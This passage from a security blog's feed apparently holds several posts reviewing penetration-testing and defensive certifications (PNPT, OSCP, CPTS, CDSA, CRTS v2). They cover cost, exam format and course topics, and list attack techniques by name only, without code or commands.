<p>Here’s the most important point: <strong>threat hunting and CTI are not competing functions—they’re complementary.</strong></p>
<p><strong>CTI:</strong></p>
<ul>
<li>Informs defenders about what threats exist.</li>
<li>Delivers context and patterns.</li>
<li>Guides strategic planning and tactical defenses.</li>
</ul>
<p><strong>Threat Hunting:</strong></p>
<ul>
<li>Uses CTI as a launchpad.</li>
<li>Validates whether threats exist in the current environment.</li>
<li>Actively detects and disrupts adversary activity.</li>
</ul>
<p>Think of CTI as the compass that points toward potential danger, while threat hunting is the expedition into the jungle to confront it.</p>
<hr>
<h3 id="final-thoughts">Final Thoughts</h3>
<p>As organizations face increasingly sophisticated cyber adversaries, both CTI and threat hunting are essential capabilities. Understanding how to transform data into actionable intelligence—and then use that intelligence to proactively seek out threats—is the cornerstone of modern defensive security.</p>
<p>This is just the beginning of my journey into the world of threat hunting and CTI. Stay tuned as I dive deeper into techniques, frameworks like MITRE ATT&amp;CK, case studies, and insights into the ever-evolving threat landscape.</p>
]]></content></item><item><title>The Pentesting Trifecta CPTS-OSCP-PNPT</title><link>https://blog.redteamshell.com/posts/2025/05/the-pentesting-trifecta-cpts-oscp-pnpt/</link><pubDate>Sun, 11 May 2025 09:35:44 -0400</pubDate><guid>https://blog.redteamshell.com/posts/2025/05/the-pentesting-trifecta-cpts-oscp-pnpt/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/CPTS_OSCP_PNPT.png" alt="Main Image">&lt;/p>
&lt;p>After months of dedication and late nights, I’ve earned what I call the &lt;strong>Trifecta of Penetration Testing Certifications&lt;/strong>: the &lt;strong>PNPT&lt;/strong>, &lt;strong>OSCP&lt;/strong>, and &lt;strong>CPTS&lt;/strong>. In this post, I’ll break down each certification—covering content, pricing, exam duration, realism, and difficulty—based on my personal journey. If you&amp;rsquo;re debating which cert to pursue, I hope this guide helps.&lt;/p>
&lt;hr>
&lt;h3 id="overview-of-each-certification">Overview of Each Certification&lt;/h3>
&lt;h3 id="-pnpt--practical-network-penetration-tester">🔴 PNPT – Practical Network Penetration Tester&lt;/h3>
&lt;p>&lt;img src="https://blog.redteamshell.com/images/PNPT%28250x250%29.png" alt="PNPT">&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Provider&lt;/strong>: TCM Security&lt;/li>
&lt;li>&lt;strong>URL&lt;/strong>: &lt;a href="https://certifications.tcm-sec.com/pnpt/">certifications.tcm-sec.com/pnpt&lt;/a>&lt;/li>
&lt;li>&lt;strong>Cost&lt;/strong>: $499 USD (includes training and exam)&lt;/li>
&lt;li>&lt;strong>Duration&lt;/strong>: 5-day engagement + 2 days for reporting&lt;/li>
&lt;li>&lt;strong>Content Focus&lt;/strong>:
&lt;ul>
&lt;li>External/Internal recon and exploitation&lt;/li>
&lt;li>Active Directory attacks&lt;/li>
&lt;li>OSINT&lt;/li>
&lt;li>Pivoting&lt;/li>
&lt;li>Report writing&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Exam Format&lt;/strong>: Realistic corporate AD environment; compromise the domain controller and submit a professional report.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h3 id="-oscp--offensive-security-certified-professional">🟠 OSCP – Offensive Security Certified Professional&lt;/h3>
&lt;p>&lt;img src="https://blog.redteamshell.com/images/OSCP%28250x250%29.png" alt="OSCP">&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/CPTS_OSCP_PNPT.png" alt="Main Image"></p>
<p>After months of dedication and late nights, I’ve earned what I call the <strong>Trifecta of Penetration Testing Certifications</strong>: the <strong>PNPT</strong>, <strong>OSCP</strong>, and <strong>CPTS</strong>. In this post, I’ll break down each certification—covering content, pricing, exam duration, realism, and difficulty—based on my personal journey. If you&rsquo;re debating which cert to pursue, I hope this guide helps.</p>
<hr>
<h3 id="overview-of-each-certification">Overview of Each Certification</h3>
<h3 id="-pnpt--practical-network-penetration-tester">🔴 PNPT – Practical Network Penetration Tester</h3>
<p><img src="/images/PNPT%28250x250%29.png" alt="PNPT"></p>
<ul>
<li><strong>Provider</strong>: TCM Security</li>
<li><strong>URL</strong>: <a href="https://certifications.tcm-sec.com/pnpt/">certifications.tcm-sec.com/pnpt</a></li>
<li><strong>Cost</strong>: $499 USD (includes training and exam)</li>
<li><strong>Duration</strong>: 5-day engagement + 2 days for reporting</li>
<li><strong>Content Focus</strong>:
<ul>
<li>External/Internal recon and exploitation</li>
<li>Active Directory attacks</li>
<li>OSINT</li>
<li>Pivoting</li>
<li>Report writing</li>
</ul>
</li>
<li><strong>Exam Format</strong>: Realistic corporate AD environment; compromise the domain controller and submit a professional report.</li>
</ul>
<hr>
<h3 id="-oscp--offensive-security-certified-professional">🟠 OSCP – Offensive Security Certified Professional</h3>
<p><img src="/images/OSCP%28250x250%29.png" alt="OSCP"></p>
<ul>
<li><strong>Provider</strong>: Offensive Security</li>
<li><strong>URL</strong>: <a href="https://www.offsec.com/courses/pen-200/">offsec.com/courses/pen-200</a></li>
<li><strong>Cost</strong>: Starts at $1749 USD (90-day lab + exam)</li>
<li><strong>Duration</strong>: 24-hour exam + 24 hours for reporting</li>
<li><strong>Content Focus</strong>:
<ul>
<li>Report writing for Penetration Testers</li>
<li>Web, Linux, and Windows exploitation</li>
<li>Active Directory</li>
<li>Tunneling and pivoting</li>
</ul>
</li>
<li><strong>Exam Format</strong>: 1 AD set worth 40 pts + 3 standalone machines (20 pts each); 70 pts minimum to pass with a detailed report.</li>
</ul>
<hr>
<h3 id="-cpts--certified-penetration-testing-specialist">🟢 CPTS – Certified Penetration Testing Specialist</h3>
<p><img src="/images/CPTS%28250x250%29.png" alt="CPTS"></p>
<ul>
<li><strong>Provider</strong>: Hack The Box</li>
<li><strong>URL</strong>: <a href="https://academy.hackthebox.com/preview/certifications/htb-certified-penetration-testing-specialist">academy.hackthebox.com</a></li>
<li><strong>Cost</strong>: $490 USD (includes training and exam)</li>
<li><strong>Duration</strong>: 10-day exam window plus reporting</li>
<li><strong>Content Focus</strong>:
<ul>
<li>External to internal compromise</li>
<li>Black box web, external and internal penetration testing</li>
<li>Initial access, privilege escalation, lateral movement</li>
<li>Real-world exploitation</li>
</ul>
</li>
<li><strong>Exam Format</strong>: Entire AD network compromise; 12 out of 14 flags required to pass + commercial-grade report.</li>
</ul>
<hr>
<h3 id="-my-journey-and-timeline">🧭 My Journey and Timeline</h3>
<ul>
<li>✅ <strong>PNPT</strong> – Passed on <strong>11/6/2023</strong>
For the PNPT, one aspect that makes it feel even more realistic is that you&rsquo;re required to present a debrief of your findings to a TCM Security staff member, just like you would in a real-world engagement.</li>
</ul>
<p><img src="/images/PNPT_Cert.png" alt="PNPT"></p>
<hr>
<ul>
<li>✅ <strong>OSCP</strong> – Passed on <strong>1/15/2024</strong>
The OSCP is one of the most sought-after penetration testing certifications in the industry, and having it on your resume is a significant advantage.</li>
</ul>
<p><img src="/images/OSCP_Cert.png" alt="OSCP"></p>
<hr>
<ul>
<li>✅ <strong>CPTS</strong> – Passed on <strong>7/25/2024</strong>
The CPTS is the new cool kid on the block, and in a few years, it will become the go-to standard for penetration testing certifications in the industry.</li>
</ul>
<p><img src="/images/CPTS_Cert.png" alt="CPTS"></p>
<hr>
<h3 id="difficulty-comparison">Difficulty Comparison</h3>
<p>From my perspective:</p>
<ol>
<li>
<p><strong>CPTS</strong> was the <strong>hardest</strong>. The 10-day format might sound forgiving, but the depth, chaining of attacks, and report requirements make this a true test of endurance and skill. I captured 13 out of 14 flags before exhaustion kicked in and I pivoted to the report.</p>
</li>
<li>
<p><strong>OSCP</strong> is <strong>next in difficulty</strong>, primarily due to the 24-hour limit. It’s a mental marathon with limited sleep and high pressure to gather at least 70 points. My approach was to take down the AD set first, then secure 2 standalone boxes for 80 points total.</p>
</li>
<li>
<p><strong>PNPT</strong> is the most accessible in terms of pressure. You have a full five days to think strategically and take breaks. The environment is realistic and the report matters more than point scoring.</p>
</li>
</ol>
<hr>
<h3 id="-realism-of-the-lab-environments">🌍 Realism of the Lab Environments</h3>
<ul>
<li>🥇 <strong>CPTS</strong> – The most realistic enterprise-level environment. Every step is chained and deliberate, mimicking real-world penetration testing.</li>
<li>🥈 <strong>PNPT</strong> – Well-designed, simulates a small business network with a full AD deployment and real attack surfaces.</li>
<li>🥉 <strong>OSCP</strong> – Feels more CTF-oriented. Many machines are vulnerable to older CVEs and less representative of modern enterprise defense apart from the AD portion.</li>
</ul>
<hr>
<h3 id="-summary-table">📊 Summary Table</h3>
<table>
  <thead>
      <tr>
          <th>Cert</th>
          <th>Cost</th>
          <th>Duration</th>
          <th>Realism</th>
          <th>Difficulty</th>
          <th>Reporting Required</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>PNPT</td>
          <td>$499</td>
          <td>5 days (+2 for report)</td>
          <td>⭐⭐⭐⭐</td>
          <td>⭐⭐⭐</td>
          <td>✅ Yes</td>
      </tr>
      <tr>
          <td>OSCP</td>
          <td>$1749+</td>
          <td>24h (+24h report)</td>
          <td>⭐⭐⭐</td>
          <td>⭐⭐⭐⭐</td>
          <td>✅ Yes</td>
      </tr>
      <tr>
          <td>CPTS</td>
          <td>$490</td>
          <td>10 days</td>
          <td>⭐⭐⭐⭐⭐</td>
          <td>⭐⭐⭐⭐⭐</td>
          <td>✅ Yes</td>
      </tr>
  </tbody>
</table>
<hr>
<h3 id="-which-one-should-you-take">🎯 Which One Should You Take?</h3>
<ul>
<li><strong>OSCP</strong>: Best for getting past HR filters and landing interviews. It’s still the gold standard in the industry for recognition.</li>
<li><strong>CPTS</strong>: Ideal if you&rsquo;re focused on becoming a skilled pentester. You’ll get top-tier technical experience at a great price.</li>
<li><strong>PNPT</strong>: Excellent for learning real-world pentesting methodology. If you value practical reporting and an instructional experience, this is for you.</li>
</ul>
<hr>
<h3 id="-final-thoughts">🧩 Final Thoughts</h3>
<p>Earning all three certs has taught me more than just technical skills—it’s tested my mindset, patience, and professionalism. Each one offers unique lessons and benefits, and together they cover a wide range of what modern offensive security roles require.</p>
<p>No matter which path you take, prepare well, practice often, and always strive to learn during the process.</p>
<hr>
<p><em>Got questions about these certs? Feel free to reach out!</em></p>
]]></content></item><item><title>CDSA | Part 1</title><link>https://blog.redteamshell.com/posts/2025/05/cdsa-part-1/</link><pubDate>Thu, 01 May 2025 11:33:06 -0400</pubDate><guid>https://blog.redteamshell.com/posts/2025/05/cdsa-part-1/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/HTB_CDSA.png" alt="HTB CDSA">&lt;/p>
&lt;p>As someone who primarily walks the path of the Red Team, I’ve always been immersed in penetration testing, adversarial simulation, and offensive operations. But lately, I’ve realized something crucial — truly mastering offensive security requires seeing things from the defender’s perspective too. That’s why I decided to take on the &lt;strong>Hack The Box Certified Defensive Security Analyst (CDSA)&lt;/strong> certification.&lt;/p>
&lt;hr>
&lt;h3 id="-what-is-htb-cdsa">🛡️ What is HTB CDSA?&lt;/h3>
&lt;p>The &lt;strong>HTB Certified Defensive Security Analyst (CDSA)&lt;/strong> is a highly hands-on certification offered by (&lt;a href="https://academy.hackthebox.com/preview/certifications/htb-certified-defensive-security-analyst" target="_blank" rel="noopener noreferrer">Hack The Box&lt;/a>
). It focuses on &lt;strong>security analysis&lt;/strong>, &lt;strong>SOC operations&lt;/strong>, and &lt;strong>incident handling&lt;/strong> at an intermediate level. Unlike many traditional certifications that focus on theory, CDSA emphasizes practical, real-world skills — the kind you’ll actually need working in or alongside a SOC.&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/HTB_CDSA.png" alt="HTB CDSA"></p>
<p>As someone who primarily walks the path of the Red Team, I’ve always been immersed in penetration testing, adversarial simulation, and offensive operations. But lately, I’ve realized something crucial — truly mastering offensive security requires seeing things from the defender’s perspective too. That’s why I decided to take on the <strong>Hack The Box Certified Defensive Security Analyst (CDSA)</strong> certification.</p>
<hr>
<h3 id="-what-is-htb-cdsa">🛡️ What is HTB CDSA?</h3>
<p>The <strong>HTB Certified Defensive Security Analyst (CDSA)</strong> is a highly hands-on certification offered by (<a href="https://academy.hackthebox.com/preview/certifications/htb-certified-defensive-security-analyst" target="_blank" rel="noopener noreferrer">Hack The Box</a>
). It focuses on <strong>security analysis</strong>, <strong>SOC operations</strong>, and <strong>incident handling</strong> at an intermediate level. Unlike many traditional certifications that focus on theory, CDSA emphasizes practical, real-world skills — the kind you’ll actually need working in or alongside a SOC.</p>
<p>By earning this cert, one proves they have a strong technical understanding of blue team practices and can navigate the defensive side of cybersecurity with confidence.</p>
<hr>
<h3 id="-knowledge-domains-covered">📚 Knowledge Domains Covered</h3>
<p><img src="/images/soc-analyst-domain.jpg" alt="HTB CDSA"></p>
<p>The CDSA certification evaluates knowledge and skills across the following domains — many of which are highly complementary to offensive operations:</p>
<ul>
<li>SOC Processes &amp; Methodologies</li>
<li>SIEM Operations (ELK/Splunk)</li>
<li>Tactical Analytics</li>
<li>Log Analysis</li>
<li>Threat Hunting</li>
<li>Active Directory Attack Analysis</li>
<li>Network Traffic Analysis (Incl. IDS/IPS)</li>
<li>Malware Analysis</li>
<li>DFIR Operations</li>
</ul>
<p>This depth and range make it a valuable addition to my skillset, especially in understanding how real-world defenses are structured and how attacks are detected and responded to.</p>
<hr>
<h3 id="-why-i-decided-to-pursue-a-blue-team-certification">🔄 Why I Decided to Pursue a Blue Team Certification</h3>
<p>Although my primary focus has always been red teaming and penetration testing, I’ve come to understand that to be an effective offensive security professional, I must also understand how defenders think and operate.</p>
<p>Learning how security analysts detect, respond to, and analyze attacks provides invaluable insight that can level up offensive tradecraft. Knowing what alerts you trigger, how logs are analyzed, and how incidents are handled gives you the upper hand in crafting stealthier, more effective attacks — and also helps when communicating findings with SOC teams during engagements.</p>
<p>This path isn’t just for blue teamers — it’s also a powerful resource for anyone in offensive security.</p>
<hr>
<h3 id="-progress-so-far">🚧 Progress So Far</h3>
<p><img src="/images/soc-analyst-asset.jpg" alt="HTB CDSA"></p>
<p>At the time of writing, the SOC Analyst role path on HTB is divided into <strong>15 modules</strong>. So far, I’ve completed the first <strong>3 modules</strong>, with <strong>12 more to go</strong>. I’m learning a lot of new material, especially about SOC operations, which is already making me think differently about logs and telemetry.</p>
<p>🗓️ <strong>Estimated completion time per HackTheBox Academy</strong>: 23 days</p>
<p>Here’s a look at the module list:</p>
<ol>
<li>Incident Handling Process</li>
<li>Security Monitoring &amp; SIEM Fundamentals</li>
<li>Windows Event Logs &amp; Finding Evil</li>
<li>Introduction to Threat Hunting &amp; Hunting With Elastic</li>
<li>Understanding Log Sources &amp; Investigating with Splunk</li>
<li>Windows Attacks &amp; Defense</li>
<li>Intro to Network Traffic Analysis</li>
<li>Intermediate Network Traffic Analysis</li>
<li>Working with IDS/IPS</li>
<li>Introduction to Malware Analysis</li>
<li>JavaScript Deobfuscation</li>
<li>YARA &amp; Sigma for SOC Analysts</li>
<li>Introduction to Digital Forensics</li>
<li>Detecting Windows Attacks with Splunk</li>
<li>Security Incident Reporting</li>
</ol>
<p>Each of these modules builds on the last, and they combine theory with practical labs and real-world scenarios. It’s been an engaging experience so far.</p>
<hr>
<h3 id="-my-plan-moving-forward">🎯 My Plan Moving Forward</h3>
<p>The goal is clear — <strong>complete the full role path</strong> and then take on the <strong>CDSA exam</strong>.</p>
<p>The exam itself spans <strong>7 days</strong>, which means preparation is key — not just technically, but mentally too. HTB is known for challenging, real-world exams that demand focus, patience, and persistence.</p>
<p>Once I complete the exam, I’ll be sharing a follow-up blog post detailing:</p>
<ul>
<li>Lessons learned</li>
<li>Skills gained</li>
<li>Full exam experience</li>
</ul>
<p>So stay tuned for that!</p>
<hr>
<p>Thanks for reading — and if you’re also considering improving your defensive skills (whether you’re red team or blue team), the CDSA path might be worth exploring. Understanding both sides of the cyber battlefield is what truly builds a well-rounded operator.</p>
]]></content></item><item><title>CRTS v2 | Part 2</title><link>https://blog.redteamshell.com/posts/2025/04/crts-v2-part-2/</link><pubDate>Mon, 14 Apr 2025 20:48:51 -0400</pubDate><guid>https://blog.redteamshell.com/posts/2025/04/crts-v2-part-2/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/Cert.png" alt="Cert CRTSv2">&lt;/p>
&lt;h3 id="crtsv2-certification-review--final-thoughts-after-passing-the-exam">CRTSv2 Certification Review – Final Thoughts After Passing the Exam&lt;/h3>
&lt;p>This post is the second and final part of my review of the (&lt;a href="https://cyberwarfare.live/product/red-team-specialist-crts/" target="_blank" rel="noopener noreferrer">CRTSv2&lt;/a>
) certification by CyberWarFare Labs. In the first part, I covered my experience during the course. This post will wrap things up with a full breakdown of the lab, exam, preparation, and how it stacks up against similar certs.&lt;/p>
&lt;hr>
&lt;h3 id="table-of-contents">Table of Contents&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/04/crts-v2-part-2/#course-material">Course Material&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/04/crts-v2-part-2/#lab-experience">Lab Experience&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/04/crts-v2-part-2/#exam">Exam&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/04/crts-v2-part-2/#preparation">Preparation&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/04/crts-v2-part-2/#comparison">Comparison&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.redteamshell.com/posts/2025/04/crts-v2-part-2/#final-thoughts">Final Thoughts&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h3 id="course-material">Course Material&lt;/h3>
&lt;p>The course is divided into two main modules:&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/Cert.png" alt="Cert CRTSv2"></p>
<h3 id="crtsv2-certification-review--final-thoughts-after-passing-the-exam">CRTSv2 Certification Review – Final Thoughts After Passing the Exam</h3>
<p>This post is the second and final part of my review of the (<a href="https://cyberwarfare.live/product/red-team-specialist-crts/" target="_blank" rel="noopener noreferrer">CRTSv2</a>
) certification by CyberWarFare Labs. In the first part, I covered my experience during the course. This post will wrap things up with a full breakdown of the lab, exam, preparation, and how it stacks up against similar certs.</p>
<hr>
<h3 id="table-of-contents">Table of Contents</h3>
<ul>
<li><a href="/posts/2025/04/crts-v2-part-2/#course-material">Course Material</a></li>
<li><a href="/posts/2025/04/crts-v2-part-2/#lab-experience">Lab Experience</a></li>
<li><a href="/posts/2025/04/crts-v2-part-2/#exam">Exam</a></li>
<li><a href="/posts/2025/04/crts-v2-part-2/#preparation">Preparation</a></li>
<li><a href="/posts/2025/04/crts-v2-part-2/#comparison">Comparison</a></li>
<li><a href="/posts/2025/04/crts-v2-part-2/#final-thoughts">Final Thoughts</a></li>
</ul>
<hr>
<h3 id="course-material">Course Material</h3>
<p>The course is divided into two main modules:</p>
<h3 id="module-1-initial-access">Module 1: Initial Access</h3>
<p>This section uses real-world case studies to demonstrate how initial access can be achieved through:</p>
<ul>
<li>Abusing web application vulnerabilities</li>
<li>Leaked PAT (Personal Access Token) to self-hosted GitLab Runner</li>
<li>Adversary-in-the-Middle (AiTM) attacks</li>
<li>Manipulating Exchange Rules</li>
<li>Abusing and impersonating enterprise applications like Zoom and Visual Studio</li>
</ul>
<h3 id="module-2-advanced-active-directory-attacks">Module 2: Advanced Active Directory Attacks</h3>
<p>Although I’ve completed both the CRTP and CRTE from Altered Security, I still learned a lot—especially about AD Certificate Services.</p>
<p>Topics include:</p>
<h4 id="1-kerberos-delegation">1. Kerberos Delegation</h4>
<ul>
<li>Extensions:
<ul>
<li>S4U2Self</li>
<li>U2U</li>
<li>S4U2Self + U2U</li>
</ul>
</li>
<li>Attacks:
<ul>
<li>Diamond Tickets</li>
<li>Sapphire Tickets</li>
</ul>
</li>
</ul>
<h4 id="2-linux-active-directory">2. Linux Active Directory</h4>
<ul>
<li>Credential Discovery</li>
<li>Kerberos in Linux</li>
<li>Credential Extraction</li>
</ul>
<h4 id="3-group-managed-service-account-gmsa">3. Group Managed Service Account (gMSA)</h4>
<ul>
<li>Machine &amp; User Access</li>
</ul>
<h4 id="4-certificate-services">4. Certificate Services</h4>
<ul>
<li>Authentication &amp; Abuse of ESC1, ESC4, ESC6, ESC8</li>
<li>Golden Certificate Attacks</li>
<li>Shadow Credentials</li>
<li>Un-PAC the Hash</li>
</ul>
<h4 id="5-cross-forest-attacks">5. Cross-Forest Attacks</h4>
<ul>
<li>Kerberoasting</li>
<li>ACL Abuse</li>
<li>Foreign Security Principal</li>
<li>Trust Key Abuse</li>
<li>PAM (Privileged Access Management)</li>
<li>Over-Permissive Certificate Templates</li>
</ul>
<hr>
<h3 id="lab-experience">Lab Experience</h3>
<p>The lab was fun, practical, and filled with learning opportunities. You get 30 days of access via the Cyber Range portal.</p>
<p>Before starting the lab, you&rsquo;re given access to the LMS with course PDFs and video content. Once you&rsquo;re ready, you request lab access and download the OpenVPN config from the portal.</p>
<p>The lab mimics a Red Team engagement within an <strong>Electric PowerGrid Facility</strong>. Although the theme is OT/ICS, all attacks are IT-focused.</p>
<h3 id="crtsv2-cyber-range">CRTSv2 Cyber Range</h3>
<p>The Cyber Range includes 2 unique attack paths, both mapped to MITRE ATT&amp;CK. There are challenge questions along the way to help track your progress.</p>
<h4 id="path-1-external-to-internal-access">Path 1: External to Internal Access</h4>
<p><img src="/images/Path1.png" alt="Path 1"></p>
<p>Covers a stack including:</p>
<ul>
<li>Exchange Servers, CI/CD Stack, MFA-Protected Apps</li>
<li>Custom Web Apps &amp; Databases, Firewall Segmentation</li>
<li>Bastion Hosts, Passwordless Authentication &amp; SSO</li>
</ul>
<h4 id="path-2-active-directory--hmiscada-focus">Path 2: Active Directory &amp; HMI/SCADA Focus</h4>
<p><img src="/images/Path2.png" alt="Path 2"></p>
<p>Goal: Reach the <strong>Human Machine Interface (HMI)</strong> system. Super fun and the most realistic part of the lab.</p>
<p><img src="/images/SCADA_WEB_DASHboard.png" alt="HMI Dashboar"></p>
<p>Tech stack includes:</p>
<ul>
<li>AD DS, CS, Managed Service Accounts</li>
<li>Patched Windows &amp; Linux Servers</li>
<li>Bastion Hosts, Firewall Segmentation</li>
<li>ICS Application Simulation</li>
</ul>
<hr>
<h3 id="exam">Exam</h3>
<p>Cyberwarfare Labs recently launched a <strong>self-serve exam portal</strong>, and I was probably the first to book through it 😄</p>
<ul>
<li><strong>Duration:</strong> 24 hours hands-on + 24 hours for report writing</li>
<li><strong>Objective:</strong> Exfiltrate a sensitive file from the target environment</li>
<li><strong>Environment:</strong> Stable – never needed to reset the lab</li>
<li><strong>Report:</strong> Not covered in the course, so prior experience is assumed</li>
</ul>
<p>I started on <strong>March 28th at 10AM local time</strong> and completed the assessment in about 10 hours (with breaks). The exam felt very real-world focused. Chaining multiple vulnerabilities across domains, jumping between different systems, and simulating a full adversary campaign felt natural and challenging.</p>
<p>If you’ve done CRTP, CRTE, or CPTS (like I have), you’ll definitely feel better prepared.</p>
<hr>
<h3 id="preparation">Preparation</h3>
<p>My prep strategy looked like this:</p>
<ul>
<li>Fully reviewed all PDFs and videos from the LMS</li>
<li>Practiced every technique multiple times in the lab</li>
<li>Created a personal cheat sheet on AD exploitation (soon to be shared on my GitHub)</li>
<li>Reviewed HTB Academy modules on AD Enumeration &amp; Attacks</li>
<li>Read additional blog posts recommended within the course materials</li>
</ul>
<p>Highly recommend investing time into the labs, not just to pass the exam, but to <strong>truly grasp</strong> each concept.</p>
<hr>
<h3 id="comparison">Comparison</h3>
<p>Compared to other AD-heavy certs like <strong>CRTP</strong> and <strong>CRTE</strong>:</p>
<ul>
<li><strong>CRTP/CRTE</strong> = assume-breach style (internal access from the start)</li>
<li><strong>CRTSv2</strong> = full cyber kill chain, from external to internal compromise</li>
</ul>
<p>CRTSv2 stands out for its <strong>realistic adversary simulation</strong>, requiring you to leverage multiple attack vectors from initial access to domain dominance.</p>
<hr>
<h3 id="final-thoughts">Final Thoughts</h3>
<p>Highly recommended. 💯</p>
<ul>
<li>Great price point (especially when discounts are available)</li>
<li>Labs are realistic, immersive, and educational</li>
<li>The exam feels like a real Red Team engagement</li>
<li>Targeted at intermediate/advanced professionals in offensive security</li>
</ul>
<p>If you&rsquo;re just getting started, I’d suggest beginning with something like <strong>CRTA</strong> to get your AD fundamentals in place.</p>
<hr>
<p>If you’re into Red Teaming and AD exploitation, CRTSv2 should definitely be on your radar. I’ve gained a ton from this course and will absolutely apply it in real-world assessments.</p>
<hr>
<p>If you have any questions, feel free to reach out or connect with me on (<a href="https://www.linkedin.com/fabrice-kazadi" target="_blank" rel="noopener noreferrer">LinkedIn</a>
) or (<a href="https://twitter.com/@malwarebro" target="_blank" rel="noopener noreferrer">Twitter</a>
).</p>
<p>Stay sharp.</p>
]]></content></item><item><title>CRTS v2 | Part 1</title><link>https://blog.redteamshell.com/posts/2025/03/crts-v2-part-1/</link><pubDate>Sun, 02 Mar 2025 06:43:06 -0500</pubDate><guid>https://blog.redteamshell.com/posts/2025/03/crts-v2-part-1/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/red-team-specialist.jpeg" alt="Profile Picture">&lt;/p>
&lt;h3 id="my-journey-through-the-certified-red-team-specialist-crts-v2-course">My Journey Through the Certified Red Team Specialist (CRTS v2) Course&lt;/h3>
&lt;p>After successfully completing CRTS v1, I decided to take on &lt;strong>CRTS v2&lt;/strong> by Cyber Warfare Labs. This blog post will document my journey as I work through the course material and prepare for the hands-on exam by the &lt;strong>end of March&lt;/strong>.&lt;/p>
&lt;hr>
&lt;h3 id="my-experience-with-crts-v1">My Experience with CRTS v1&lt;/h3>
&lt;p>In the previous version of this course, the lab covered the following scenarios:&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/red-team-specialist.jpeg" alt="Profile Picture"></p>
<h3 id="my-journey-through-the-certified-red-team-specialist-crts-v2-course">My Journey Through the Certified Red Team Specialist (CRTS v2) Course</h3>
<p>After successfully completing CRTS v1, I decided to take on <strong>CRTS v2</strong> by Cyber Warfare Labs. This blog post will document my journey as I work through the course material and prepare for the hands-on exam by the <strong>end of March</strong>.</p>
<hr>
<h3 id="my-experience-with-crts-v1">My Experience with CRTS v1</h3>
<p>In the previous version of this course, the lab covered the following scenarios:</p>
<ul>
<li><strong>Red Team assessment in a Nuclear Facility</strong></li>
<li><strong>Covert operations simulating a nuclear meltdown</strong></li>
<li><strong>Following the Red Team cycle in multi-segregated networks</strong></li>
<li><strong>Three unique attack paths mapped to MITRE ATT&amp;CK for Enterprise</strong></li>
</ul>
<p><img src="/images/CRTS-1.png" alt="Profile Picture"></p>
<p>To earn the <strong>CRTS badge</strong>, I had to complete all three attack paths and successfully exfiltrate a <strong>critical file</strong> from one of the servers. The proof of completion was a <strong>screenshot of the file contents</strong>, which I had to share with their support team.</p>
<p><img src="/images/CRTS-roadmap.png" alt="Profile Picture"></p>
<p>While the lab was immersive, I faced some technical bugs that required back-and-forth communication with their <strong>support team</strong>. Despite these challenges, I managed to complete it and earn my <strong>shiny CRTS badge</strong>. <em>(Check my Accredible Badge <a href="https://www.credential.net/700230fc-3a30-4abc-bbbb-33fe4c1ce215#acc.kyRpW0H8" target="_blank" rel="noopener noreferrer">here</a>
)</em></p>
<div style="display: flex; gap: 20px; justify-content: center; align-items: center; flex-wrap: wrap;">
    <img src="/images/CRTS.png" alt="First Image" style="max-width: 45%; height: auto;">
    <img src="/images/CRTS-Badge-1.png" alt="Second Image" style="max-width: 45%; height: auto;">
</div>

<hr>
<h3 id="crts-v2--whats-new">CRTS v2 – What’s New?</h3>
<p><img src="/images/CRTS-V2-Arch.png" alt="Profile Picture"></p>
<p>The <strong>CRTS v2 course and lab</strong> introduce updated real-world attack scenarios, including:</p>
<ul>
<li><strong>Adversary simulation in an Electric Power Grid facility</strong></li>
<li><strong>Active Directory (AD) Domain &amp; Certificate Services, Exchange, SSO, MFA &amp; VDI Exploitation</strong></li>
<li><strong>Following the Red Team cycle in multi-segregated networks</strong></li>
<li><strong>Two unique attack paths mapped to MITRE ATT&amp;CK for Enterprise</strong></li>
</ul>
<p><img src="/images/CRTS-Topics-High.png" alt="Profile Picture"></p>
<p>To earn the <strong>CRTS v2 Accredible badge</strong>, I will need to pass a <strong>24-hour hands-on exam</strong>, followed by submitting a detailed <strong>exam report</strong> within the next <strong>24 hours</strong>. A <strong>70% passing score</strong> is required to obtain certification.</p>
<p><img src="/images/CRTSV2.png" alt="Profile Picture"></p>
<hr>
<h3 id="why-i-chose-crts-v2">Why I Chose CRTS v2</h3>
<p>Although I already earned CRTS v1, I decided to take <strong>v2</strong> because of its <strong>updated content and real-world relevance</strong>. The <strong>lab case studies</strong> are modeled after the <strong>MGM attack (September 2023)</strong>, making the course even more relevant to modern <strong>Red Team engagements</strong>. <em>(You can read about this article <a href="https://www.cyberark.com/resources/blog/the-mgm-resorts-attack-initial-analysis" target="_blank" rel="noopener noreferrer">here</a>
)</em></p>
<p><img src="/images/MGM-attack.png" alt="Profile Picture"></p>
<p>During the <strong>launch webinar</strong>, the course author discussed cybersecurity predictions for <strong>2024</strong>, highlighting emerging attack vectors such as:</p>
<ul>
<li><strong>CI/CD supply chain attacks</strong></li>
<li><strong>Exploiting remote access services</strong></li>
<li><strong>Targeting enterprise-grade software for payload/phishing infrastructure</strong></li>
<li><strong>Hybrid &amp; multi-cloud attacks</strong></li>
<li><strong>Sophisticated &amp; stealth attacks in on-premise environments</strong></li>
<li><strong>Rise in MFA-based attacks</strong></li>
<li><strong>QR code-based hacking</strong></li>
<li><strong>Use of GenAI tools for chained attacks</strong></li>
</ul>
<p><img src="/images/CRTS-Topics.png" alt="Profile Picture"></p>
